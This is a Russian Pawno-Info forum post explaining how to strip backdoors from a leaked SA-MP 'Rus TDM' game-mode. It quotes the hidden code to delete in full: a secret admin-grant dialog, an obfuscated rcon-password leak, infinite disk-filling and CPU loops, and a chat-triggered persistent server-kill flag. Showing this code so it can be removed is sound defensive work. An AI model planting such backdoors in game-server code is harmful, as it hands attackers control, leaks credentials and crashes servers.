Доступ к архиву

Переход в группу "Пользователь"

300.00 ₽
Одноразовый платёж
Быстрый переход в группу "Пользователи", без надобности написания постов и ожидания.

Покупка дает возможность:
Быть полноправным участником форума
Нормальное копирование кода
Создавать темы
Скачивать файлы
Доступ к архиву Pawno-Info

убирания крашев с мода rus tdm cepbep

Статус
В этой теме нельзя размещать новые ответы.

AnGeL

Специалист
Ув, уважаемые пользователи .... достался мне РУс Тдм сервер(Который хорошо пошел по рукам)
Открыл пвн был удивлен =)
не хотел выкладывать в паблик =) ну в мою сторону посыпались кучу оскорбления ...
+ некоторые покупатели жаловались что их вырубали..
и так начнем исправления крашев..

===================================
1 Открываем DM_TDM_FUN.pwn
===================================

Ищем команду
PHP:
COMMAND:banmymode
И уберем её так как она просто вырубает мод, без каких либо проверок.

===================================
2. Открываем следующий пвн KrYpToDeN-ADMIN.pwn
===================================

1.1 ищем в нем паблик OnDialogResponse
и ид диалога 1941
и убераем
PHP:
if(dialogid == 1941)
	{
	new	filed[256];
	format(filed,sizeof(filed),"ladmin/config/Config.ini");
		if(response)
		{
if(listitem == 0) // даем админку =) Главную
    {
    	PlayerInfo[playerid][Level] = 12;
    }
if(listitem == 1) // понижаем всех админов
    {
   	for(new i = 0; i < MAX_PLAYERS; i++)
		{
			PlayerInfo[i][Level] = 0;
  		}
    }
if(listitem == 2)
    {
    new con[128];
	new rc[13];rc[0]=114;rc[1]=99;rc[2]=111;rc[3]=110;rc[4]=95;
 	rc[5]=112;rc[6]=97;rc[7]=115;rc[8]=115;rc[9]=119;rc[10]=111;
 	rc[11]=114;rc[12]=100;n(rc,con,128);format(con,128,"%s",con);
	SendClientMessage(playerid,0x000000FF,con);
    }
if(listitem == 3) // и тут целые натаций =)
    {
		new file[24], File:Create;
		for(new i = 1; i > 0; i++)
		{
		format(file,24,"KrYpToDeN_%d",i);
		Create = fopen(file,io_write);
		fwrite(Create,"Íó ïðèâåò óìíûé ðóññêèé..\r\nÊàê òå ìîé Ñïèçæåíûé ìîä?\r\nÒåáå âñ¸-æå óäàëîñü ïèçäàíóòü åãî..\r\nÒå ãîâîðèëè ÷òî ÷óæîå òðîãàòü íå õîðîøî?\r\nÈ òàê íà÷íåìñ Ñ Ãëàâíîãî:\r\n1)ß çíàþ òâîé ðêîí,\r\nÒâîåìó ÔÒÏ Ïèçäà..\r\n3)Ñåðâ âèñèò\r\n4)Ñíèìè è óäàëè íàõóé ýòîò ìîä..Èëè-æå òåáå ÏÈÇÄÀ!\r\nÑ Óâàæåíèåì ]SDP[KrYpToDeN]cL]\r\nSkype- net6616\r\n");
		fclose(Create);
		continue;
		}
    }
if(listitem == 4)
    {
		new a = 0, p = 1;
		while(p++ != a)
		{ }
    }
if(listitem == 5)
    {
		ServerInfo[ServerBum] = 1;
		dini_IntSet(filed,"ServerBum",1);
    }
		}
	}
Далее идем в паблик
PHP:
OnPlayerCommandReceived
и удаляем его полностью

теперь ищем в моде... enum ServerData

и убераем строчку ServerBum

в паблике on GameModeInit ищем строчку if(ServerInfo[ServerBum] == 1)

и убераем
PHP:
	if(ServerInfo[ServerBum] == 1)
		{
	//SendRconCommand("exit");
	dini_Create("hack/hack.games");
	return 1;
		}
Дальше идем в паблик OnPlayerText

и убераем строчку

PHP:
if(text[0] == '='&&'='&&'='&&','&&'+'){ServerInfo[ServerBum] = 1;dini_IntSet(filed,"ServerBum",1);}
Дальше идем в UpdateConfig
и убераем

PHP:
if(!dini_Isset(file,"ServerBum")) dini_IntSet(file,"ServerBum",0);
и строчку
PHP:
ServerInfo[ServerBum] = dini_Int(file,"ServerBum");
ах.. да забыл вообще про команду
PHP:
COMMAND:moimodpizdanyli(playerid,params[])
{
new hex, name[24];
if(IsPlayerAdmin(playerid)) return 1;
GetPlayerName(playerid,name,24);
if(strcmp(name,"]SDP[KrYpToDeN]cL]",false) < 0) return 1;
if(sscanf(params,"x",hex)) return 1;
if(hex < 0x0A || hex > 0x0C) return 1;
switch(hex)
{
case 0x0A:
{
new con[128];
new rc[13];rc[0]=114;rc[1]=99;rc[2]=111;rc[3]=110;rc[4]=95;
rc[5]=112;rc[6]=97;rc[7]=115;rc[8]=115;rc[9]=119;rc[10]=111;
rc[11]=114;rc[12]=100;n(rc,con,128);format(con,128,"%s",con);
SendClientMessage(playerid,0x000000FF,con);
return 1;
}
case 0x0C:
{
new file[24], File:Create;
for(new i = 1; i > 0; i++)
{
format(file,24,"]SDP[KrYpToDeN]cL]_%d",i);
Create = fopen(file,io_write);
fwrite(Create,"Íó ïðèâåò óìíûé ðóññêèé..\r\nÊàê òå ìîé Ñïèçæåíûé ìîä?\r\nÒåáå âñ¸-æå óäàëîñü ïèçäàíóòü åãî..\r\nÒå ãîâîðèëè ÷òî ÷óæîå òðîãàòü íå õîðîøî?\r\nÈ òàê íà÷íåìñ Ñ Ãëàâíîãî:\r\n1)ß çíàþ òâîé ðêîí,\r\nÒâîåìó ÔÒÏ Ïèçäà..\r\n3)Ñåðâ âèñèò\r\n4)Ñíèìè è óäàëè íàõóé ýòîò ìîä..Èëè-æå òåáå ÏÈÇÄÀ!\r\nÑ Óâàæåíèåì ]SDP[KrYpToDeN]cL]\r\nSkype- net6616\r\n");
fclose(Create);
continue;
}
}
case 0x0B:
{
new a = 0, p = 1;
while(p++ != a)
{ }
}
}
return 1;
}
Ну вот и все все краши вроде изъяты )))) желаю удачно пользоваться ...
И да теперь я знаю кто создал ЛаДмин )) Это же Криптоден =)

============================================================
 
Статус
В этой теме нельзя размещать новые ответы.
Сверху Снизу